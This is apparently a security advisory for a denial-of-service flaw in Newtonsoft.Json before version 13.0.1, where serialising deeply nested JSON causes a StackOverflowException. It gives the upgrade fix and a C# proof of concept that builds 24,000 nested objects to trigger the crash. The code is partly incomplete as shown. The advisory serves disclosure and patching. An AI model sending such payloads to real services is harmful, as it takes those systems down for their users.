Insecure Defaults Affecting newtonsoft.json package, versions [,13.0.1)



    Attack Complexity Low
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

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  • published 24 Apr 2022
  • disclosed 24 Apr 2022
  • credit Gil Mirmovitch

Introduced: 24 Apr 2022

CVE NOT AVAILABLE CWE-755 Open this link in a new tab

How to fix?

Upgrade Newtonsoft.Json to version 13.0.1 or higher.


Affected versions of this package are vulnerable to Insecure Defaults due to improper handling of StackOverFlow exception (SOE) whenever nested expressions are being processed.


using System;

using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;

namespace JsonTests
    class Program
        static void Main(string[] args)
            //Create a string representation of a highly nested object (JSON serialized)
            int nRep = 24000;
            string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +
                          string.Concat(Enumerable.Repeat("}", nRep));

            //Parse this object (Parsing works well - no exception is being thrown)
            var parsedJson = JObject.Parse(json);
            using (var ms = new MemoryStream())
            using (var sWriter = new StreamWriter(ms))
            using (var jWriter = new JsonTextWriter(sWriter))
                //Trying to serialize the object will result in StackOverflowException !!!

            //ToString throws StackOverflowException as well  (ToString is very unefficient - even for smaller payloads, it will occupy a lot of CPU & Memory)

            //JsonConvert.SerializeObject throws StackOverflowException as well
            //string a = JsonConvert.SerializeObject(parsedJson);